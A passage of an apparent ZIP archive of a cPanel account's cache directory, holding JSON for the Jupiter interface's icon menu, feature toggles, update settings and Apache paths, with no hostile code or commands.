transfer","key":"bandwidth","base64_png_image":"","feature":"bandwidth","onclick":"","height":"48"},{"imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Raw Access","target":"","file":"raw_access","subtype":"img","acontent":"","width":"48","itemdesc":"Raw Access","itemorder":"4","url":"raw/index.html","group":"metrics","searchtext":"Raw Access logs raw logs rawlogs","description":"View the raw Apache® logs for your site’s visitors.","key":"raw_access","base64_png_image":"","feature":"rawlog","onclick":"","height":"48"},{"imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipawstats'}","target":"","plainitemdesc":"Awstats","file":"awstats","subtype":"img","acontent":"","itemorder":"5","width":"48","itemdesc":"Awstats","implements":"Stats_AWStats","url":"stats/awstats_landing.html","group":"metrics","key":"awstats","searchtext":"Awstats awstats","description":"View traffic statistics from the AWStats software.","base64_png_image":"","onclick":"","feature":"awstats","height":"48"},{"imgtype":"icon","target":"","plainitemdesc":"Analog Stats","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipanalog'}","type":"image","file":"analog_stats","itemdesc":"Analog Stats","width":"48","itemorder":"6","acontent":"","subtype":"img","group":"metrics","url":"stats/analog_landing.html","base64_png_image":"","searchtext":"Analog Stats","description":"View data from the Analog traffic statistics software.","key":"analog_stats","height":"48","feature":"analog","onclick":""},{"imgtype":"icon","plainitemdesc":"Webalizer","target":"","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipwebalizer'}","type":"image","file":"webalizer","width":"48","itemdesc":"Webalizer","itemorder":"7","subtype":"img","acontent":"","group":"metrics","url":"stats/webalizer_landing.html","base64_png_image":"","description":"View traffic statistics from the Webalizer statistics program.","searchtext":"Webalizer stats","key":"webalizer","height":"48","feature":"webalizer","onclick":""},{"url":"stats/webalizerftp_landing.html","group":"metrics","onclick":"","feature":"webalizer","height":"48","key":"webalizer_ftp","searchtext":"Webalizer FTP stats ftp","description":"View FTP traffic statistics from the Webalizer statistics program.","base64_png_image":"","type":"image","if":"!$CONFIF{'skipwebalizer'}","target":"","plainitemdesc":"Webalizer FTP","imgtype":"icon","subtype":"img","acontent":"","touch":"ftp","itemorder":"8","width":"48","itemdesc":"Webalizer FTP","file":"webalizer_ftp"},{"file":"metrics_editor","subtype":"img","acontent":"","width":"32","itemdesc":"Metrics Editor","itemorder":"10","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && $any_stats_enabled","target":"","plainitemdesc":"Metrics Editor","searchtext":"Metrics Editor stats manager choose log programs","description":"Select metrics programs to process your log files and provide traffic analysis for your cPanel account’s domains.","key":"metrics_editor","base64_png_image":"","feature":"statselect","onclick":"","height":"32","url":"statmanager/index.html","group":"metrics"}],"group":"metrics"}],"VERSION":5.4,"implements":{"Email_AccountLevelFiltering":"global_email_filters","Email_DeliveryReport":"track_delivery","Locale_Change":"change_language","Zone_Editor":"zone_editor","Email_Forwarders":"forwarders","Email_Authentication":"email_deliverability","Email_Routing":"email_routing","Softaculous_Home":"softaculous","Email_DefaultAddress":"default_address","Email_MailingLists":"mailing_lists","Stats_AWStats":"awstats","FileManager_Home":"file_manager","JetBackup5":"jb5","Softaculous_WordPress":"wp_softaculous","Domains_domains":"domains","SitePad_Home":"sitepad","Email_Disk_Usage":"email_disk_usage","Database_phpMyAdmin":"php_my_admin","Imunify_Home":"imunify360","API_Tokens_Manager":"api_tokens","Email_UserLevelFiltering":"email_filters","ContactInfo_Change":"contact_information","Password_Change":"change_password","WHMCS_clientarea_submit_ticket":"WHMCS_clientarea_submit_ticket","Email_Accounts":"email_accounts","Cron_Home":"cron_jobs","Database_MySQL":"mysql_databases","SSL_TLS_Status":"tls_status","Email_AutoResponders":"autoresponders","SSL_TLS_Manager":"ssl_tls","Email_BoxTrapper":"boxtrapper"},"default_group_order":{"soft_div":10,"sitepad_div":10,"security":6,"preferences":8,"databases":3,"domains":4,"sample_apps":9,"whmcs":1,"email":1,"software":6,"advanced":7,"metrics":5,"files":2}}PK r �[O&e} .cpanel/datastore/mysql-db-countnu "�] � 32PK r �[���l l 2 .cpanel/caches/config/_etc_cpupdate.conf___defaultnu "�] � {"UPDATES":"never","RPMUP":"never","SARULESUP":"never","STAGING_DIR":"/usr/local/cpanel","CPANEL":"release"}PK r �[��� � O .cpanel/caches/config/_usr_local_cpanel_etc_team_features_database___2859283035nu "�] � {"phppgadmin":"1","backup":"1","php-config":"1","postgres":"1","modules-php-pear":"1","multiphp":"1","multiphp_ini_editor":"1","phpmyadmin":"1","mysql":"1"}PK r �[8�#8� � ? .cpanel/caches/config/_var_cpanel_features_default___2859283035nu "�] � {"enduserlve":"0","lvepythonsel":"0","addoncgi":"0","api_shell":"0","lvephpsel":"0","sitepublisher":"0","modules-perl":"0","lvenodejssel":"0","backup":"0","lverubysel":"0","handlers":"0","modules-php-pear":"0","lveresusage":"0"}PK r �[�m�Xi i L .cpanel/caches/config/_usr_local_cpanel_etc_team_features_email___2859283035nu "�] � {"emaildomainfwd":"1","videotut":"1","getstart":"1","autoresponders":"1","defaultaddress":"1","blockers":"0","csvimport":"1","traceaddy":"1","style":"1","email_disk_usage":"1","popaccts":"1","changemx":"1","forwarders":"1","pgp":"1","spambox":"1","emailtrace":"1","lists":"1","emailarchive":"1","webmail":"1","boxtrapper":"1","emailauth":"1","spamassassin":"1"}PK r �[�yH�� � L .cpanel/caches/config/_usr_local_cpanel_etc_team_features_admin___2859283035nu "�] � {"subdomainstats":"1","password":"1","user_manager":"1","multiphp_ini_editor":"1","sslinstall":"1","boxtrapper":"1","emailauth":"1","cpanelpro_images":"1","zoneedit":"1","mysql":"1","getstart":"1","sitejet":"1","wp-toolkit-deluxe":"1","enduserlve":"1","cpanelpro_leechprotect":"1","ea-php74":"1","changemx":"1","phppgadmin":"1","mime":"1","php-config":"1","statselect":"1","ipdeny":"1","serverstatus":"1","multiphp":"1","dynamicdns":"1","ea-php80":"1","passengerapps":"1","clock":"1","theme-switch":"1","simplezoneedit":"1","errlog":"1","hotlink":"1","optimizews":"1","emailtrace":"1","lists":"1","ssh":"1","emailarchive":"1","analog":"1","ftpaccts":"1","handlers":"1","addoncgi":"1","phpmyadmin":"1","filemanager":"1","api_shell":"1","autoresponders":"1","counter":"1","parkeddomains":"1","clamavconnector_scan":"1","popaccts":"1","ror":"1","forwarders":"1","nettools":"1","countdown":"1","market":"1","redirects":"1","modules-php-pear":"1","modsecurity":"1","backup":"1","emaildomainfwd":"1","videotut":"1","rawlog":"1","indexmanager":"1","dirselector":"1","wp-toolkit":"1","addondomains":"1","spambox":"1","bandwidth":"1","version_control":"1","apitokens":"1","chat":"1","agora":"1","cpanelpro_support":"1","modules-perl":"1","pgp":"1","diskusageviewer":"1","cgi":"1","dnssec":"1","postgres":"1","bbs":"1","webalizer":"1","awstats":"1","errpgs":"1","tls_wizard":"1","scgiwrap":"1","ftpsetup":"1","lastvisits":"1","webprotect":"1","defaultaddress":"1","sitepublisher":"1","searchsubmit":"1","blockers":"1","traceaddy":"1","modules-ruby":"1","setlang":"1","subdomains":"1","fantastico":"1","cron":"1","webmail":"1","sslmanager":"1","filerestoration":"1","spamassassin":"1","autossl":"1","csvimport":"1","style":"1","email_disk_usage":"1","site_monitor":"1","webdisk":"1"}PK r �[�r� � W .cpanel/caches/config/_etc_cpanel_ea4_paths.conf___default_equal_space_seperated_confignu "�] � {"dir_conf":"/etc/apache2/conf.d","file_conf_srm_conf":"/etc/apache2/conf.d/srm.conf","file_error_log":"/etc/apache2/logs/error_log","file_access_log":"/etc/apache2/logs/access_log","dir_conf_includes":"/etc/apache2/conf.d/includes","file_conf_php_conf":"/etc/apache2/conf.d/php.conf","file_conf":"/etc/apache2/conf/httpd.conf","dir_base":"/etc/apache2","dir_conf_userdata":"/etc/apache2/conf.d/userdata","bin_apachectl":"/usr/local/lsws/bin/lswsctrl","bin_suexec":"/usr/sbin/suexec","dir_domlogs":"/etc/apache2/logs/domlogs","dir_logs":"/etc/apache2/logs","dir_run":"/run/apache2","dir_docroot":"/var/www/html","file_conf_mime_types":"/etc/apache2/conf/mime.types","bin_httpd":"/usr/sbin/httpd","dir_modules":"/etc/apache2/modules"}PK r �[t�� J .cpanel/caches/config/_usr_local_cpanel_etc_team_features_web___2859283035nu "�] � {"dynamicdns":"1","modules-php-pear":"1","backup":"1","webalizer":"1","bandwidth":"1","analog":"1","redirects":"1","multiphp":"1","multiphp_ini_editor":"1","wp-toolkit":"1","php-config":"1","sitejet":"1","sitepublisher":"1","rawlog":"1","awstats":"1","wp-toolkit-deluxe":"1"}PK r �[C��� C .cpanel/caches/config/_etc_domainips___default_colon_with_one_spacenu "�] � {}PK r �[ ��+d d N .cpanel/caches/config/_usr_local_cpanel_etc_team_features_default___2859283035nu "�] � {"password":"1","updatenotificationprefs":"1","updatecontact":"1","twofactorauth":"1","setlang":"1"}PK r �[C��� @ .cpanel/caches/config/_var_cpanel_features_disabled___2859283035nu "�] � {}PK r �[��UT�� �� * .cpanel/caches/dynamicui/jupiter_en_.cachenu ��٘� {"version":"5.0","dyalist":[{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_lvewpos.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_lvenodejssel.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_lvepythonsel.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_lverubysel.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_lvephpsel.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_lveresusage.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_softaculous.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_group_soft_div.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_jb5.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_ls_web_cache_manager.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_soft_div_icons.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_imunify360.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-koality-plugin.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_letsencrypt-cpanel.conf","allow_legacy":1},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_sitepad_div_icons.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_cpanel-sitejet-plugin.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_lvexray.conf"},{"allow_legacy":1,"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_wp_softaculous.conf"},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_group_sitepad_div.conf","allow_legacy":1},{"file":"/usr/local/cpanel/base/frontend/jupiter//dynamicui/dynamicui_sitepad.conf","allow_legacy":1},{"file":"/var/cpanel/userhomes/cpanel/cpanelbranding/jupiter/dynamicui.conf","allow_legacy":1},{"allow_legacy":0,"file":"/var/cpanel/integration/dynamicui/gqdcvggs/dynamicui_group_whmcs.conf"},{"allow_legacy":0,"file":"/var/cpanel/integration/dynamicui/gqdcvggs/dynamicui_WHMCS_clientarea_submit_ticket.conf"}],"cachetime":1729197596,"conf":{"canary":{"onclick":"","height":"48","key":"canary","description":"Canary","searchtext":"sample apps Canary","base64_png_image":"","url":"canary/index.html","group":"sample_apps","subtype":"img","acontent":"","itemorder":"1","width":"48","itemdesc":"Canary","file":"canary","type":"image","if":"$is_sandbox && $exists_in_cpanel{'canary'}","target":"","imgtype":"icon"},"lveresusage":{"imgtype":"icon","target":"","plainitemdesc":"Resource Usage","type":"image","file":"lveresusage","itemorder":"999","width":"48","itemdesc":"Resource Usage","subtype":"img","acontent":"","group":"metrics","url":"resource_usage/resource_usage.live.pl","base64_png_image":"","searchtext":"Resource Usage","description":"Resource Usage","height":"48","onclick":"","feature":"lveresusage"},"contact_information":{"url":"contact/index.html","group":"preferences","implements":"ContactInfo_Change","feature":"updatenotificationprefs || updatecontact","onclick":"","height":"48","searchtext":"contact email Contact Information","description":"Set contact information and preferences.","key":"contact_information","base64_png_image":"","type":"image","plainitemdesc":"Contact Information","target":"","imgtype":"icon","subtype":"img","acontent":"","width":"48","itemdesc":"Contact Information","itemorder":"3","file":"contact_information"},"group_sample_apps":{"imgtype":"icon","grouporder":"9","target":"","type":"image","file":"group_sample_apps","itemdesc":"group_sample_apps","width":"48","acontent":"","subtype":"img","groupdesc":"Sample Applications","group":"sample_apps","base64_png_image":"","key":"group_sample_apps","description":"Sample Applications","searchtext":"group_sample_apps","height":"48","onclick":""},"track_delivery":{"implements":"Email_DeliveryReport","group":"email","url":"mail/route.html","base64_png_image":"","key":"track_delivery","description":"Display reports about email message delivery attempts.","searchtext":"Track Delivery Email Trace email mail delivery report","height":"48","onclick":"","feature":"emailtrace","imgtype":"icon","plainitemdesc":"Track Delivery","target":"","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","type":"image","file":"track_delivery","itemorder":"8","width":"48","itemdesc":"Track Delivery","subtype":"img","acontent":""},"cpanel-sitejet-plugin":{"height":"48","feature":"sitejet","onclick":"","base64_png_image":"","searchtext":"sitejet builder domain website plugin Sitejet Builder","description":"Sitejet Builder","group":"domains","url":"sitejet/index.html","width":"48","itemdesc":"Sitejet Builder","itemorder":"2","subtype":"img","acontent":"","file":"cpanel-sitejet-plugin","plainitemdesc":"Sitejet Builder","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},"email_disk_usage":{"implements":"Email_Disk_Usage","url":"mail/manage_disk_usage/","group":"email","searchtext":"email accounts mail disk usage bytes mb size Email Disk Usage","description":"View your mailboxes and disk usage for each, and remove old or large messages.","key":"email_disk_usage","base64_png_image":"","feature":"popaccts && email_disk_usage","onclick":"","height":"48","imgtype":"icon","if":"$HASROLE{'MailReceive'}","type":"image","target":"","plainitemdesc":"Email Disk Usage","file":"email_disk_usage","subtype":"img","acontent":"","width":"48","itemdesc":"Email Disk Usage","itemorder":"20"},"email_filters":{"base64_png_image":"","key":"email_filters","searchtext":"User Filters Email user level Filtering filter Email Filters","description":"Configure how your server filters a specific email account’s received mail.","height":"48","onclick":"","feature":"blockers","implements":"Email_UserLevelFiltering","group":"email","url":"mail/filters/managefilters.html","file":"email_filters","itemorder":"10","width":"48","itemdesc":"Email Filters","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Email Filters","target":"","type":"image","if":"$HASROLE{'MailReceive'}"},"cron_jobs":{"width":"48","itemdesc":"Cron Jobs","itemorder":"2","subtype":"img","acontent":"","file":"cron_jobs","target":"","plainitemdesc":"Cron Jobs","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","height":"48","feature":"cron","onclick":"","base64_png_image":"","searchtext":"Cron Jobs cronjob crontab edit","description":"Create, manage, and delete scheduled tasks.","key":"cron_jobs","group":"advanced","url":"cron/index.html","implements":"Cron_Home"},"indexes":{"key":"indexes","description":"Define how the server displays a specific directory’s index to a visitor, or to disable index display for a directory.","searchtext":"Indexes index manager","base64_png_image":"","onclick":"","feature":"indexmanager","height":"48","url":"indexmanager/index.html","group":"advanced","file":"indexes","acontent":"","subtype":"img","itemorder":"4","itemdesc":"Indexes","width":"48","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"Indexes","target":""},"ssl_tls":{"height":"48","feature":"sslmanager","onclick":"","base64_png_image":"","searchtext":"SSL/TLS certificate key csr","description":"Create, manage, and delete SSL certificates, signing requests, and keys.","key":"ssl_tls","group":"security","url":"ssl/index.html","implements":"SSL_TLS_Manager","width":"48","itemdesc":"SSL/TLS","itemorder":"3","acontent":"","subtype":"img","file":"ssl_tls","plainitemdesc":"SSL/TLS","target":"","if":"$HASROLE{'UserSSL'}","type":"image","imgtype":"icon"},"soft_div_icons":{"onclick":"","feature":"soft_div_icons","height":"48","description":"Softaculous Apps Installer","searchtext":"Softaculous Apps Installer","base64_png_image":"","url":"softaculous/index.live.php","group":"soft_div","acontent":"","subtype":"img","itemorder":"10","itemdesc":"Softaculous Apps Installer","width":"48","file":"soft_div_icons","type":"image","plainitemdesc":"Softaculous Apps Installer","target":"","imgtype":"icon"},"raw_access":{"imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Raw Access","target":"","file":"raw_access","subtype":"img","acontent":"","width":"48","itemdesc":"Raw Access","itemorder":"4","url":"raw/index.html","group":"metrics","searchtext":"Raw Access logs raw logs rawlogs","description":"View the raw Apache® logs for your site’s visitors.","key":"raw_access","base64_png_image":"","feature":"rawlog","onclick":"","height":"48"},"group_perf":{"groupdesc":"Preferences","group":"preferences","searchtext":"group_perf","description":"Preferences","key":"group_perf","base64_png_image":"","onclick":"","height":"48","imgtype":"icon","grouporder":"8","type":"image","target":"","file":"group_perf","acontent":"","subtype":"img","itemdesc":"group_perf","width":"48"},"site_software":{"feature":"addoncgi","onclick":"","height":"32","searchtext":"Site Software addons software","description":"Update, manage, and uninstall cPAddons.","key":"site_software","base64_png_image":"","url":"addoncgi/cpaddons.html","group":"software","implements":"Site_Software","file_check":"!/var/cpanel/cpaddons.disabled","acontent":"","subtype":"img","itemdesc":"Site Software","width":"32","itemorder":"6","file":"site_software","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Site Software","target":"","imgtype":"icon","cpanel_os_check":"supports_cpaddons=1"},"security_policy":{"key":"security_policy","description":"Update and manage your security questions.","searchtext":"Security Policy","base64_png_image":"","onclick":"","height":"32","url":"security/index.html","group":"security","file":"security_policy","acontent":"","subtype":"img","itemorder":"6","width":"32","itemdesc":"Security Policy","imgtype":"icon","if":"$CONFIF{'SecurityPolicy::SourceIPCheck'}","type":"image","plainitemdesc":"Security Policy","target":""},"site_publisher":{"file":"site_publisher","subtype":"img","acontent":"","itemdesc":"Site Publisher","width":"48","itemorder":"1","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Site Publisher","description":"Create a simple website as a placeholder.","searchtext":"site publisher builder start website generator template Site Publisher","key":"site_publisher","base64_png_image":"","feature":"sitepublisher","onclick":"","height":"48","url":"site_publisher/index.html","group":"domains"},"calendar_contact_management":{"itemdesc":"Calendars and Contacts Management","width":48,"itemorder":19,"subtype":"img","acontent":"","file":"calendar_contact_management","plainitemdesc":"Calendars and Contacts Management","target":"","if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image","imgtype":"icon","height":48,"feature":"caldavcarddav","onclick":"","base64_png_image":"","description":"Calendars and Contacts Management","searchtext":"calendar contact management address book addressbook Calendars and Contacts Management","key":"calendar_contact_management","group":"email","url":"calendar-contact-management/index.html"},"domains":{"type":"image","plainitemdesc":"Domains","target":"","acontent":"","subtype":"img","itemorder":"2","width":"48","itemdesc":"Domains","file":"domains","url":"domains/index.html","group":"domains","implements":"Domains_domains","onclick":"","feature":"addondomains || subdomains || parkeddomains || sslinstall","height":"48","imagetype":"icon","key":"domains","description":"Create, manage, and delete multiple domains.","searchtext":"domains parked park aliases alias addon subdomain domain force https redirect Domains","base64_png_image":""},"mailing_lists":{"implements":"Email_MailingLists","group":"email","url":"mail/lists.html","base64_png_image":"","searchtext":"Mailing Lists mailman","description":"Set up a single email address to send mail to multiple email addresses.","key":"mailing_lists","height":"48","feature":"lists","onclick":"","imgtype":"icon","target":"","plainitemdesc":"Mailing Lists","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'} && !$CONFIF{'skipmailman'}","type":"image","file":"mailing_lists","itemdesc":"Mailing Lists","width":"48","itemorder":"7","acontent":"","subtype":"img"},"greylisting":{"plainitemdesc":"Configure Greylisting","target":"","if":"$HASROLE{'MailReceive'} && $is_greylisting_enabled","type":"image","imgtype":"icon","itemdesc":"Configure Greylisting","width":"48","itemorder":"17","subtype":"img","acontent":"","file":"greylisting","group":"email","url":"mail/greylisting/index.html","implements":"Email_GreyListing","height":"48","feature":"greylist","onclick":"","base64_png_image":"","searchtext":"Greylisting grey list spam Configure Greylisting","description":"Enable or disable protection against unwanted email or spam.","key":"greylisting"},"track_dns":{"plainitemdesc":"Track DNS","target":"","type":"image","imgtype":"icon","itemorder":"3","width":"48","itemdesc":"Track DNS","subtype":"img","acontent":"","file":"track_dns","group":"advanced","url":"net/index.html","height":"48","onclick":"","feature":"nettools","base64_png_image":"","key":"track_dns","searchtext":"Track DNS traceroute tracert dnslookup dig network tools","description":"Perform traceroutes and domain lookups to diagnose network issues."},"metrics_editor":{"file":"metrics_editor","subtype":"img","acontent":"","width":"32","itemdesc":"Metrics Editor","itemorder":"10","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'} && $any_stats_enabled","target":"","plainitemdesc":"Metrics Editor","searchtext":"Metrics Editor stats manager choose log programs","description":"Select metrics programs to process your log files and provide traffic analysis for your cPanel account’s domains.","key":"metrics_editor","base64_png_image":"","feature":"statselect","onclick":"","height":"32","url":"statmanager/index.html","group":"metrics"},"jb5":{"feature":"jb5","onclick":"","height":"48","description":"JetBackup 5","searchtext":"JetBackup 5","base64_png_image":"","url":"jetbackup5/index.html","group":"files","implements":"JetBackup5","subtype":"img","acontent":"","itemdesc":"JetBackup 5","width":"48","itemorder":0,"file":"jb5","type":"image","target":"","plainitemdesc":"JetBackup 5","imgtype":"icon"},"tls_status":{"key":"tls_status","searchtext":"SSL/TLS Status","description":"View, upgrade, or renew your domains’ SSL certificates.","base64_png_image":"","onclick":"","feature":"sslinstall","height":"48","implements":"SSL_TLS_Status","url":"security/tls_status/","group":"security","file":"tls_status","acontent":"","subtype":"img","itemorder":"7","width":"48","itemdesc":"SSL/TLS Status","imgtype":"icon","type":"image","if":"$HASROLE{'UserSSL'}","plainitemdesc":"[asis,SSL]/[asis,TLS] Status","target":""},"php_my_admin":{"imgtype":"icon","if":"$SERVICEPROVIDED{'mysql'}","type":"image","plainitemdesc":"phpMyAdmin","target":"_blank","file":"php_my_admin","subtype":"img","acontent":"target=\"_blank\"","itemdesc":"phpMyAdmin","width":"48","itemorder":"1","implements":"Database_phpMyAdmin","url":"sql/PhpMyAdmin.html","group":"databases","searchtext":"phpMyAdmin database db","description":"Manage databases with phpMyAdmin.","key":"php_my_admin","base64_png_image":"","feature":"phpmyadmin","onclick":"","height":"48"},"imunify360":{"imgtype":"icon","target":"","plainitemdesc":"Imunify360","type":"image","file":"imunify360","itemorder":"10000","width":"48","itemdesc":"Imunify360","subtype":"img","acontent":"","implements":"Imunify_Home","group":"security","url":"imunify/imunify.live.pl","base64_png_image":"","description":"Imunify360","searchtext":"Imunify360","height":"48","onclick":"","feature":"imunify360"},"hotlink_protection":{"imgtype":"icon","plainitemdesc":"Hotlink Protection","target":"","type":"image","if":"$HASROLE{'WebServer'}","file":"hotlink_protection","width":"48","itemdesc":"Hotlink Protection","itemorder":"4","subtype":"img","acontent":"","group":"security","url":"mime/hotlink.html","base64_png_image":"","description":"Prevent external sites and users from embedding your website’s content.","searchtext":"Hotlink Protection","key":"hotlink_protection","height":"48","feature":"hotlink","onclick":""},"php_pear_packages":{"feature":"modules-php-pear","onclick":"","height":"48","searchtext":"PHP PEAR Packages","description":"Search for and add PEAR packages to your website, or view your available PHP packages.","key":"php_pear_packages","base64_png_image":"","url":"module_installers/index.html?lang=php-pear","group":"software","subtype":"img","acontent":"","itemdesc":"PHP PEAR Packages","width":"48","itemorder":"2","file":"php_pear_packages","if":"$haspear","type":"image","target":"","plainitemdesc":"PHP PEAR Packages","imgtype":"icon"},"visitors":{"target":"","plainitemdesc":"Visitors","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemdesc":"Visitors","width":"48","itemorder":"1","subtype":"img","acontent":"","file":"visitors","group":"metrics","url":"stats/lastvisitors_landing.html","height":"48","feature":"lastvisits","onclick":"","base64_png_image":"","searchtext":"latest visitors Visitors","description":"Display detailed information about recent visits to your website.","key":"visitors"},"ip_blocker":{"url":"denyip/index.html","group":"security","key":"ip_blocker","description":"Block access to your website for one or more IP addresses or fully qualified domain names.","searchtext":"IP Blocker ip deny manager","base64_png_image":"","onclick":"","feature":"ipdeny","height":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"IP Blocker","file":"ip_blocker","subtype":"img","acontent":"","itemorder":"2","itemdesc":"IP Blocker","width":"48"},"email_accounts":{"url":"email_accounts/index.html","group":"email","implements":"Email_Accounts","feature":"popaccts","onclick":"","height":"48","description":"Create, manage, and delete email accounts.","searchtext":"email accounts mail pop imap smtp Email Accounts","key":"email_accounts","base64_png_image":"","type":"image","if":"$HASROLE{'MailReceive'}","plainitemdesc":"Email Accounts","target":"","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"Email Accounts","width":"48","itemorder":"1","file":"email_accounts"},"ftp_accounts":{"plainitemdesc":"FTP Accounts","target":"","type":"image","if":"$SERVICEPROVIDED{'ftp'}","imgtype":"icon","width":"48","itemdesc":"FTP Accounts","itemorder":"6","touch":"ftp","subtype":"img","acontent":"","file":"ftp_accounts","group":"files","url":"ftp/accounts.html","height":"48","feature":"ftpaccts","onclick":"","base64_png_image":"","description":"Create, manage, and delete FTP accounts.","searchtext":"FTP Accounts ftp create","key":"ftp_accounts"},"webalizer":{"imgtype":"icon","plainitemdesc":"Webalizer","target":"","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipwebalizer'}","type":"image","file":"webalizer","width":"48","itemdesc":"Webalizer","itemorder":"7","subtype":"img","acontent":"","group":"metrics","url":"stats/webalizer_landing.html","base64_png_image":"","description":"View traffic statistics from the Webalizer statistics program.","searchtext":"Webalizer stats","key":"webalizer","height":"48","feature":"webalizer","onclick":""},"address_importer":{"group":"email","url":"mail/csvimport.html","height":"48","onclick":"","feature":"csvimport","base64_png_image":"","key":"address_importer","searchtext":"Address Importer Import Addresses Forwarders Mail csv import xls import","description":"Use a spreadsheet or comma-separated value text file to quickly create mailboxes or forwarders.","plainitemdesc":"Address Importer","target":"","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon","itemorder":"12","width":"48","itemdesc":"Address Importer","subtype":"img","acontent":"","file":"address_importer"},"dynamic_dns":{"searchtext":"dynamic dns ddns ip subdomain Dynamic DNS","description":"Manage your dynamic DNS domains.","key":"dynamic_dns","base64_png_image":"","feature":"dynamicdns","onclick":"","height":48,"url":"dynamic-dns/index.html","group":"domains","file":"dynamic_dns","acontent":"","subtype":"img","width":48,"itemdesc":"Dynamic DNS","itemorder":9,"imgtype":"icon","if":"$HASROLE{'DNS'}","type":"image","target":"","plainitemdesc":"Dynamic DNS"},"two_factor_authentication":{"height":"48","onclick":"","feature":"twofactorauth","base64_png_image":"","key":"two_factor_authentication","searchtext":"Two Factor Authentication 2fa tfa Two-Factor Authentication","description":"Configure a security measure that requires two forms of identification to log in.","group":"security","url":"security/2fa/index.html","itemorder":"8","itemdesc":"Two-Factor Authentication","width":"48","subtype":"img","acontent":"","file":"two_factor_authentication","target":"","plainitemdesc":"Two-Factor Authentication","if":"$is_twofactorauth_sec_policy_enabled","type":"image","imgtype":"icon"},"email_deliverability":{"target":"","plainitemdesc":"Email Deliverability","if":"$HASROLE{'MailSend'}","type":"image","imgtype":"icon","itemdesc":"Email Deliverability","width":"48","itemorder":"11","acontent":"","subtype":"img","file":"email_deliverability","group":"email","url":"email_deliverability/","implements":"Email_Authentication","height":"48","feature":"emailauth","onclick":"","base64_png_image":"","searchtext":"email Authentication Email Deliverability spf domain-keys authentication DKIM","description":"Identify problems with your mail-related DNS records for one or more of your domains.","key":"email_deliverability"},"ls_web_cache_manager":{"url":"ls_web_cache_manager.html.tt","group":"advanced","description":"LiteSpeed Web Cache Manager","searchtext":"LiteSpeed Web Cache Manager","base64_png_image":"","onclick":"","feature":"ls_web_cache_manager","height":"48","imgtype":"icon","type":"image","target":"","plainitemdesc":"LiteSpeed Web Cache Manager","file":"ls_web_cache_manager","acontent":"","subtype":"img","itemorder":"1","width":"48","itemdesc":"LiteSpeed Web Cache Manager"},"sitepad_div_icons":{"feature":"sitepad_div_icons","onclick":"","height":"48","description":"SitePad Website Builder - Themes","searchtext":"SitePad Website Builder - Themes","base64_png_image":"","url":"../../3rdparty/sitepad/index.live.php","group":"sitepad_div","subtype":"img","acontent":"","width":"48","itemdesc":"SitePad Website Builder - Themes","itemorder":"10","file":"sitepad_div_icons","type":"image","plainitemdesc":"SitePad Website Builder - Themes","target":"","imgtype":"icon"},"mime_types":{"target":"","plainitemdesc":"MIME Types","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon","itemorder":"7","width":"48","itemdesc":"MIME Types","subtype":"img","acontent":"","file":"mime_types","group":"advanced","url":"mime/mime.html","height":"48","onclick":"","feature":"mime","base64_png_image":"","key":"mime_types","searchtext":"MIME Types mimetype types","description":"Relay information to the visitor’s browser about how to handle file extensions."},"softaculous":{"imgtype":"icon","type":"image","target":"","plainitemdesc":"Softaculous Apps Installer","file":"softaculous","acontent":"","subtype":"img","width":"48","itemdesc":"Softaculous Apps 